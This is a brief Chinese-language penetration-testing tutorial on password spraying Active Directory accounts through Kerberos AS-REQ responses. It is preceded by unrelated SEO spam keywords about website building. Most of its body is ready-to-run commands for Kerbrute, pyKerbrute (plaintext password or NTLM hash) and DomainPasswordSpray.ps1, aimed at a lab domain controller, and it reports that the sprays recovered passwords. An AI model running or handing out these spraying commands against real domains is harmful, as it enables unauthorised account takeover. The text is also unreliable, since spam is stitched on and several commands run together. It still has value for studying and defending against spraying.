网站免费优化,燕郊个人网站建设,徐州模板建站定制网站,做wordpress 下载站在Kerberos阶段认证的AS-REQ阶段#xff0c;请求包cname对应的值是用户名#xff0c;当用户名存在时候#xff0c;密码正确和错误两种情况下#xff0c;AS-REP返回包不一样#xff0c;所以可以利用这一点对域用户名进行密码喷洒攻击
域内密码喷洒工具
Kerbrute
kerbrut…在Kerberos阶段认证的AS-REQ阶段请求包cname对应的值是用户名当用户名存在时候密码正确和错误两种情况下AS-REP返回包不一样所以可以利用这一点对域用户名进行密码喷洒攻击
域内密码喷洒工具
Kerbrute
kerbrute_windows_amd64.exe passwordspray --dc 10.211.55.7 -d hdh.com user.txt QWEasd123kerbrute_windows_amd64.exe passwordspray --dc 10.211.55.7 -d hdh.com user.txt password
pyKerbrute
密码喷洒可以使用明文密码或密码hash python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt clearpassword Pss1234 tcp python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt clearpassword Pss1234 udp python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt ntlmhash 74520a4ec2626e3638066146a0d5ceae tcp python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt ntlmhash 74520a4ec2626e3638066146a0d5ceae udp
DomainPasswordSpray.ps1
PowerShell脚本工具 使用条件必须在域内机器上执行因为默认情况下该脚本是利用LDAP从域中导出用户列表然后去除被锁定的用户再用指定的密码进行喷洒 Import-Module C:\Users\win7yu\Desktop\枚举\DomainPasswordSpray-master\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password password
可以看到成功喷洒出密码
试试离线用户密码能不能喷洒此时qiezi的机器没有上线 可以看到成功爆破离线用户密码
